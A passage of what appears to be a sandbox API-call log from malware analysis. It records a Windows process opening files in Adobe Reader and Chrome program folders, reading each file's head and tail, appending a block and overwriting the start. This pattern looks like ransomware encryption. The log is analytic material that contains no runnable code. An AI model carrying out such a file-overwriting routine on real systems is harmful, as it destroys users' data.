lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0050.120] LocalFree (hMem=0x70b5a8) returned 0x0 [0050.120] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0050.120] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0050.120] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0050.120] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0050.120] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1069.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1069.mst")) returned 0x21 [0050.120] CreateFileW (lpFileName="C:\\Program Files (x86)\\desktop.ini" (normalized: "c:\\program files (x86)\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0050.121] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.121] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xae [0050.121] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.121] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.121] ReleaseMutex (hMutex=0x128) returned 1 [0050.121] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0050.121] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6334c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0050.121] ReadFile (in: hFile=0x168, lpBuffer=0x1e37248, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37248*, lpNumberOfBytesRead=0x304f2bc*=0xae, lpOverlapped=0x0) returned 1 [0050.122] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0050.122] WriteFile (in: hFile=0x168, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x636, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x636, lpOverlapped=0x0) returned 1 [0050.122] CloseHandle (hObject=0x168) returned 1 [0050.122] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\gmail.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\gmail.crx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0050.122] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.123] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x5de8 [0050.123] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.123] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.123] ReleaseMutex (hMutex=0x128) returned 1 [0050.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gmail.crx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gmail.crx", cchWideChar=9, lpMultiByteStr=0x1e62fec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gmail.crx", lpUsedDefaultChar=0x0) returned 9 [0050.123] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.253] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x4de8 [0050.253] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.253] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x4de8 [0050.253] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.136] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0051.136] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.136] CloseHandle (hObject=0x168) returned 1 [0051.136] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ca.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ca.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0051.137] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.137] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x5082b [0051.137] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.137] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.137] ReleaseMutex (hMutex=0x128) returned 1 [0051.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ca.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0051.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ca.pak", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ca.pak", lpUsedDefaultChar=0x0) returned 6 [0051.137] ReadFile (in: hFile=0x168, lpBuffer=0x1de7be8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de7be8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0051.139] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x4f82b [0051.139] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.140] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x4f82b [0051.141] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.141] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0051.141] WriteFile (in: hFile=0x168, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0051.141] CloseHandle (hObject=0x168) returned 1 [0051.141] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fa.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fa.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0051.142] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.142] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x72286 [0051.142] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.142] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.142] ReleaseMutex (hMutex=0x128) returned 1 [0051.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fa.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0051.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fa.pak", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fa.pak", lpUsedDefaultChar=0x0) returned 6 [0051.142] ReadFile (in: hFile=0x168, lpBuffer=0x1de7be8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de7be8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0051.144] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x71286 [0051.144] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.148] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x71286 [0051.148] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.148] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0051.148] WriteFile (in: hFile=0x168, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0051.148] CloseHandle (hObject=0x168) returned 1 [0051.148] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\it.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\it.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0051.149] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.149] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4e532 [0051.149] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.149] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.149] ReleaseMutex (hMutex=0x128) returned 1 [0051.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="it.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0051.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="it.pak", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="it.pak", lpUsedDefaultChar=0x0) returned 6 [0051.149] ReadFile (in: hFile=0x168, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0051.151] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x4d532 [0051.151] ReadFile (in: hFile=0x168, lpBuffer=0x1defc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1defc18*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.153] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x4d532 [0051.153] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.153] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0051.153] WriteFile (in: hFile=0x168, lpBuffer=0x1de7be8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de7be8*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0051.153] CloseHandle (hObject=0x168) returned 1 [0051.154] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\nl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\nl.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0051.154] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.154] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4d450 [0051.154] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.154] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.154] ReleaseMutex (hMutex=0x128) returned 1 [0051.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nl.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0051.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nl.pak", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nl.pak", lpUsedDefaultChar=0x0) returned 6 [0051.154] ReadFile (in: hFile=0x168, lpBuffer=0x1de7be8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de7be8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0051.156] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x4c450 [0051.156] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.157] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x4c450 [0051.158] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.158] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0051.158] WriteFile (in: hFile=0x168, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0051.158] CloseHandle (hObject=0x168) returned 1 [0051.158] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sw.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sw.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0051.159] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.159] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x44b74 [0051.159] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.159] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.159] ReleaseMutex (hMutex=0x128) returned 1 [0051.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sw.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0051.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sw.pak", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sw.pak", lpUsedDefaultChar=0x0) returned 6 [0051.159] ReadFile (in: hFile=0x168, lpBuffer=0x1de7be8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de7be8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0051.160] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x43b74 [0051.160] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.162] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x43b74 [0051.162] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.163] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0051.163] WriteFile (in: hFile=0x168, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0051.163] CloseHandle (hObject=0x168) returned 1 [0051.163] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\natives_blob.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0051.163] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.163] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x40323 [0051.163] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.164] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.164] ReleaseMutex (hMutex=0x128) returned 1 [0051.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="natives_blob.bin", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0051.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="natives_blob.bin", cchWideChar=16, lpMultiByteStr=0x1e7894c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="natives_blob.bin", lpUsedDefaultChar=0x0) returned 16 [0051.164] ReadFile (in: hFile=0x168, lpBuffer=0x1de7be8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de7be8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0051.166] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3f323 [0051.166] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.167] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3f323 [0051.167] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.167] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0051.168] WriteFile (in: hFile=0x168, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, 